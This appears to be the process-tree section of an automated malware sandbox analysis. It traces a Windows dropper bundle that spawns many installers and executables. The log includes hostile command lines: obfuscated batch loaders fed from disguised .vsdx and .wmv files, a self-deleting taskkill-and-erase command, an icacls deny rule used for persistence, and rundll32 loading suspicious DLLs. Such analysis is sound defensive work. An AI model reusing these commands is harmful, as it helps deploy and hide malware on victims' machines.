C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp"C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp" -d "C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\"11⤵PID:5296
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"7⤵PID:5744
-
-
C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"7⤵PID:5852
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu2102ff6cfe07c.exe4⤵PID:4348
-
C:\Users\Admin\AppData\Local\Temp\7zS89D34004\Thu2102ff6cfe07c.exeThu2102ff6cfe07c.exe5⤵
- Executes dropped EXE
PID:4684
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu214aaca5625.exe4⤵PID:4268
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu21df5caa1b78de6.exe /mixone4⤵PID:4244
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zS89D34004\Thu21df5caa1b78de6.exeThu21df5caa1b78de6.exe /mixone1⤵
- Executes dropped EXE
PID:4468 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4468 -s 6562⤵
- Program crash
PID:5240
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4468 -s 6722⤵
- Program crash
PID:5108
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4468 -s 6322⤵
- Program crash
PID:4348
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4468 -s 6682⤵
- Program crash
PID:2324
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4468 -s 8882⤵
- Program crash
PID:6492
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4468 -s 9362⤵
- Program crash
PID:6128
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4468 -s 11082⤵
- Program crash
PID:6228
-
-
C:\Users\Admin\AppData\Local\Temp\is-MEA56.tmp\Thu21b93295136197.tmp"C:\Users\Admin\AppData\Local\Temp\is-MEA56.tmp\Thu21b93295136197.tmp" /SL5="$5005E,138429,56832,C:\Users\Admin\AppData\Local\Temp\7zS89D34004\Thu21b93295136197.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
PID:4648 -
C:\Users\Admin\AppData\Local\Temp\is-FG1JP.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-FG1JP.tmp\Setup.exe" /Verysilent2⤵PID:5296
-
C:\Program Files (x86)\SmartPDF\SmartPDF\stats.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\stats.exe" /Verysilent3⤵PID:4956
-
C:\Users\Admin\AppData\Local\Temp\is-PSMEL.tmp\stats.tmp"C:\Users\Admin\AppData\Local\Temp\is-PSMEL.tmp\stats.tmp" /SL5="$202D4,138429,56832,C:\Program Files (x86)\SmartPDF\SmartPDF\stats.exe" /Verysilent4⤵PID:6480
-
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Setup.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Setup.exe"3⤵PID:5032
-
C:\Users\Admin\AppData\Local\Temp\BSKR.exe"C:\Users\Admin\AppData\Local\Temp\BSKR.exe"4⤵PID:7396
-
C:\Users\Admin\AppData\Local\Temp\BSKR.exeC:\Users\Admin\AppData\Local\Temp\BSKR.exe5⤵PID:8096
-
-
-
C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser144.exe"C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser144.exe"4⤵PID:8156
-
C:\ProgramData\7654269.exe"C:\ProgramData\7654269.exe"5⤵PID:7172
-
-
C:\ProgramData\5684811.exe"C:\ProgramData\5684811.exe"5⤵PID:8320
-
-
C:\ProgramData\3142153.exe"C:\ProgramData\3142153.exe"5⤵PID:8372
-
-
-
C:\Users\Admin\AppData\Local\Temp\Mortician.exe"C:\Users\Admin\AppData\Local\Temp\Mortician.exe"4⤵PID:8748
-
C:\Windows\SysWOW64\cmd.exe"cmd" /c cmd < Cerchia.vsdx5⤵PID:8808
-
C:\Windows\SysWOW64\cmd.execmd6⤵PID:8936
-
C:\Windows\SysWOW64\findstr.exefindstr /V /R "^JdxmflaMoKJKGKEonRKIDlCuNBztuuxobvTVXbusdtKZTUcnQFZrvdHmOhLNQgGwfAjlQJkqLaammCjTuVhBisMuOxuJLaA$" Attesa.vsdx7⤵PID:4432
-
-
C:\Users\Admin\AppData\Roaming\Impedire.exe.comImpedire.exe.com I7⤵PID:4288
-
C:\Users\Admin\AppData\Roaming\Impedire.exe.comC:\Users\Admin\AppData\Roaming\Impedire.exe.com I8⤵PID:8776
-
C:\Users\Admin\AppData\Roaming\Impedire.exe.comC:\Users\Admin\AppData\Roaming\Impedire.exe.com I9⤵PID:4276
-
C:\Users\Admin\AppData\Roaming\Impedire.exe.comC:\Users\Admin\AppData\Roaming\Impedire.exe.com I10⤵PID:9168
-
C:\Users\Admin\AppData\Roaming\Impedire.exe.comC:\Users\Admin\AppData\Roaming\Impedire.exe.com I11⤵PID:8656
-
C:\Users\Admin\AppData\Roaming\Impedire.exe.comC:\Users\Admin\AppData\Roaming\Impedire.exe.com I12⤵PID:5716
-
C:\Users\Admin\AppData\Roaming\Impedire.exe.comC:\Users\Admin\AppData\Roaming\Impedire.exe.com I13⤵PID:5660
-
C:\Users\Admin\AppData\Roaming\Impedire.exe.comC:\Users\Admin\AppData\Roaming\Impedire.exe.com I14⤵PID:8108
-
C:\Users\Admin\AppData\Roaming\Impedire.exe.comC:\Users\Admin\AppData\Roaming\Impedire.exe.com I15⤵PID:8852
-
C:\Users\Admin\AppData\Roaming\Impedire.exe.comC:\Users\Admin\AppData\Roaming\Impedire.exe.com I16⤵PID:4480
-
C:\Users\Admin\AppData\Roaming\Impedire.exe.comC:\Users\Admin\AppData\Roaming\Impedire.exe.com I17⤵PID:6584
-
C:\Users\Admin\AppData\Roaming\Impedire.exe.comC:\Users\Admin\AppData\Roaming\Impedire.exe.com I18⤵PID:9192
-
C:\Users\Admin\AppData\Roaming\Impedire.exe.comC:\Users\Admin\AppData\Roaming\Impedire.exe.com I19⤵PID:7176
-
C:\Users\Admin\AppData\Roaming\Impedire.exe.comC:\Users\Admin\AppData\Roaming\Impedire.exe.com I20⤵PID:4252
-
C:\Users\Admin\AppData\Roaming\Impedire.exe.comC:\Users\Admin\AppData\Roaming\Impedire.exe.com I21⤵PID:8856
-
C:\Users\Admin\AppData\Roaming\Impedire.exe.comC:\Users\Admin\AppData\Roaming\Impedire.exe.com I22⤵PID:6472
-
C:\Users\Admin\AppData\Roaming\Impedire.exe.comC:\Users\Admin\AppData\Roaming\Impedire.exe.com I23⤵PID:9064
-
C:\Users\Admin\AppData\Roaming\Impedire.exe.comC:\Users\Admin\AppData\Roaming\Impedire.exe.com I24⤵PID:9112
-
C:\Users\Admin\AppData\Roaming\Impedire.exe.comC:\Users\Admin\AppData\Roaming\Impedire.exe.com I25⤵PID:4432
-
C:\Users\Admin\AppData\Roaming\Impedire.exe.comC:\Users\Admin\AppData\Roaming\Impedire.exe.com I26⤵PID:8784
-
C:\Users\Admin\AppData\Roaming\Impedire.exe.comC:\Users\Admin\AppData\Roaming\Impedire.exe.com I27⤵PID:4692
-
C:\Users\Admin\AppData\Roaming\Impedire.exe.comC:\Users\Admin\AppData\Roaming\Impedire.exe.com I28⤵PID:5380
-
C:\Users\Admin\AppData\Roaming\Impedire.exe.comC:\Users\Admin\AppData\Roaming\Impedire.exe.com I29⤵PID:4292
-
C:\Users\Admin\AppData\Roaming\Impedire.exe.comC:\Users\Admin\AppData\Roaming\Impedire.exe.com I30⤵PID:1412
-
C:\Users\Admin\AppData\Roaming\Impedire.exe.comC:\Users\Admin\AppData\Roaming\Impedire.exe.com I31⤵PID:4256
-
C:\Users\Admin\AppData\Roaming\Impedire.exe.comC:\Users\Admin\AppData\Roaming\Impedire.exe.com I32⤵PID:8564
-
C:\Users\Admin\AppData\Roaming\Impedire.exe.comC:\Users\Admin\AppData\Roaming\Impedire.exe.com I33⤵PID:1680
-
C:\Users\Admin\AppData\Roaming\Impedire.exe.comC:\Users\Admin\AppData\Roaming\Impedire.exe.com I34⤵PID:2740
-
C:\Users\Admin\AppData\Roaming\Impedire.exe.comC:\Users\Admin\AppData\Roaming\Impedire.exe.com I35⤵PID:5564
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\PING.EXEping localhost7⤵
- Runs ping.exe
PID:8488
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\foradvertising.exe"C:\Users\Admin\AppData\Local\Temp\foradvertising.exe" /wws14⤵PID:9120
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "foradvertising.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\foradvertising.exe" & exit5⤵PID:1200
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "foradvertising.exe" /f6⤵
- Kills process with taskkill
PID:7220
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\gdgame.exe"C:\Users\Admin\AppData\Local\Temp\gdgame.exe"4⤵PID:8532
-
C:\Users\Admin\AppData\Local\Temp\gdgame.exe"C:\Users\Admin\AppData\Local\Temp\gdgame.exe" -a5⤵PID:8964
-
-
-
C:\Users\Admin\AppData\Local\Temp\installer.exe"C:\Users\Admin\AppData\Local\Temp\installer.exe" /qn CAMPAIGN="710"4⤵PID:8824
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\is-87CPP.tmp\Thu214aaca5625.tmp"C:\Users\Admin\AppData\Local\Temp\is-87CPP.tmp\Thu214aaca5625.tmp" /SL5="$200D4,506086,422400,C:\Users\Admin\AppData\Local\Temp\7zS89D34004\Thu214aaca5625.exe"1⤵PID:4836
-
C:\Users\Admin\AppData\Local\Temp\is-1FN0D.tmp\46807GHF____.exe"C:\Users\Admin\AppData\Local\Temp\is-1FN0D.tmp\46807GHF____.exe" /S /UID=burnerch22⤵PID:2684
-
C:\Program Files\Windows Mail\SDIUGTBNLW\ultramediaburner.exe"C:\Program Files\Windows Mail\SDIUGTBNLW\ultramediaburner.exe" /VERYSILENT3⤵PID:6452
-
C:\Users\Admin\AppData\Local\Temp\is-ASP4P.tmp\ultramediaburner.tmp"C:\Users\Admin\AppData\Local\Temp\is-ASP4P.tmp\ultramediaburner.tmp" /SL5="$203DE,281924,62464,C:\Program Files\Windows Mail\SDIUGTBNLW\ultramediaburner.exe" /VERYSILENT4⤵PID:4396
-
C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe"C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu5⤵PID:7348
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\3b-20f8b-e5e-38c9d-31e2f0bb38c6a\Rikokesecu.exe"C:\Users\Admin\AppData\Local\Temp\3b-20f8b-e5e-38c9d-31e2f0bb38c6a\Rikokesecu.exe"3⤵PID:7188
-
-
C:\Users\Admin\AppData\Local\Temp\62-1c5e4-8b8-0d6a7-41247510f66ef\SHucaehopaewi.exe"C:\Users\Admin\AppData\Local\Temp\62-1c5e4-8b8-0d6a7-41247510f66ef\SHucaehopaewi.exe"3⤵PID:7288
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\zsglfctr.cbq\GcleanerEU.exe /eufive & exit4⤵PID:4076
-
C:\Users\Admin\AppData\Local\Temp\zsglfctr.cbq\GcleanerEU.exeC:\Users\Admin\AppData\Local\Temp\zsglfctr.cbq\GcleanerEU.exe /eufive5⤵PID:2740
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\srtlsjug.evd\installer.exe /qn CAMPAIGN="654" & exit4⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4836 -
C:\Users\Admin\AppData\Local\Temp\srtlsjug.evd\installer.exeC:\Users\Admin\AppData\Local\Temp\srtlsjug.evd\installer.exe /qn CAMPAIGN="654"5⤵PID:6168
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\srtlsjug.evd\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\srtlsjug.evd\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1630967133 /qn CAMPAIGN=""654"" " CAMPAIGN="654"6⤵PID:7864
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\hdljyeyp.4rx\anyname.exe & exit4⤵PID:4336
-
C:\Users\Admin\AppData\Local\Temp\hdljyeyp.4rx\anyname.exeC:\Users\Admin\AppData\Local\Temp\hdljyeyp.4rx\anyname.exe5⤵PID:5172
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\sdbzl0el.e0j\gcleaner.exe /mixfive & exit4⤵PID:5232
-
C:\Users\Admin\AppData\Local\Temp\sdbzl0el.e0j\gcleaner.exeC:\Users\Admin\AppData\Local\Temp\sdbzl0el.e0j\gcleaner.exe /mixfive5⤵PID:5844
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\xlmbhzah.oih\autosubplayer.exe /S & exit4⤵PID:5956
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zS89D34004\Thu214aaca5625.exeThu214aaca5625.exe1⤵
- Executes dropped EXE
PID:4624
-
C:\Windows\SysWOW64\dllhost.exedllhost.exe1⤵PID:4780
-
C:\Windows\SysWOW64\cmd.execmd /c cmd < Attesa.wmv1⤵PID:5224
-
C:\Windows\SysWOW64\cmd.execmd2⤵PID:5976
-
C:\Windows\SysWOW64\findstr.exefindstr /V /R "^VksJcWfNcDMqfgfCCoOQaENLrlkioAEZRevWUFgpnuTZyylQxdxsqDodbFGlKiEVZMohRaHWUFajKOGYZxNRyhZgTymgZtndBYqaWXYwInbclWFIZIldx$" Braccio.wmv3⤵PID:3828
-
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comAdorarti.exe.com u3⤵PID:7404
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u4⤵PID:8168
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u5⤵PID:7696
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u6⤵PID:5832
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u7⤵PID:5836
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u8⤵PID:4364
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u9⤵PID:8232
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u10⤵PID:8816
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u11⤵PID:9052
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u12⤵PID:9188
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u13⤵PID:4640
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u14⤵PID:5600
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u15⤵PID:8232
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u16⤵PID:8664
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u17⤵PID:5160
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u18⤵PID:9164
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u19⤵PID:5356
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u20⤵PID:8644
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u21⤵PID:2740
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u22⤵PID:7976
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u23⤵PID:8288
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\PING.EXEping localhost3⤵
- Runs ping.exe
PID:8144
-
-
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:5908 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵PID:6020
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService1⤵PID:2720
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵PID:6780
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵PID:6892
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:6372 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵PID:6528
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:6720
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:7232
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:7136
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:5772
-
C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe1⤵PID:4184
-
C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe2⤵PID:9148
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:8200
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵PID:8112
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding FD3C08B29988C9299B7B72C31EAB58BC C2⤵PID:8736
-
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:8768 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵PID:8776
-
-
C:\Users\Admin\AppData\Local\Temp\F30B.exeC:\Users\Admin\AppData\Local\Temp\F30B.exe1⤵PID:6200
-
C:\Users\Admin\AppData\Local\Temp\13C3.exeC:\Users\Admin\AppData\Local\Temp\13C3.exe1⤵PID:5924
-
C:\Users\Admin\AppData\Local\Temp\13C3.exeC:\Users\Admin\AppData\Local\Temp\13C3.exe2⤵PID:8316
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Users\Admin\AppData\Local\670fc91c-5c75-496d-962a-248d67ca5c9d" /deny *S-1-1-0:(OI)(CI)(DE,DC)3⤵
- Modifies file permissions
PID:6284
-
-
C:\Users\Admin\AppData\Local\Temp\13C3.exe"C:\Users\Admin\AppData\Local\Temp\13C3.exe" --Admin IsNotAutoStart IsNotTask3⤵PID:8764
-
C:\Users\Admin\AppData\Local\Temp\13C3.exe"C:\Users\Admin\AppData\Local\Temp\13C3.exe" --Admin IsNotAutoStart IsNotTask4⤵PID:8960
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\2D28.exeC:\Users\Admin\AppData\Local\Temp\2D28.exe1⤵PID:4780
-
C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe1⤵PID:8936
-
C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe2⤵PID:832
-
-
C:\Users\Admin\AppData\Local\Temp\44A9.exeC:\Users\Admin\AppData\Local\Temp\44A9.exe1⤵PID:6184
-
C:\Users\Admin\AppData\Local\Temp\730D.exeC:\Users\Admin\AppData\Local\Temp\730D.exe1⤵PID:1352
-
C:\Windows\system32\rUNdlL32.eXerUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main1⤵
- Process spawned unexpected child process
PID:5968 -
C:\Windows\SysWOW64\rundll32.exerUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main2⤵PID:7180
-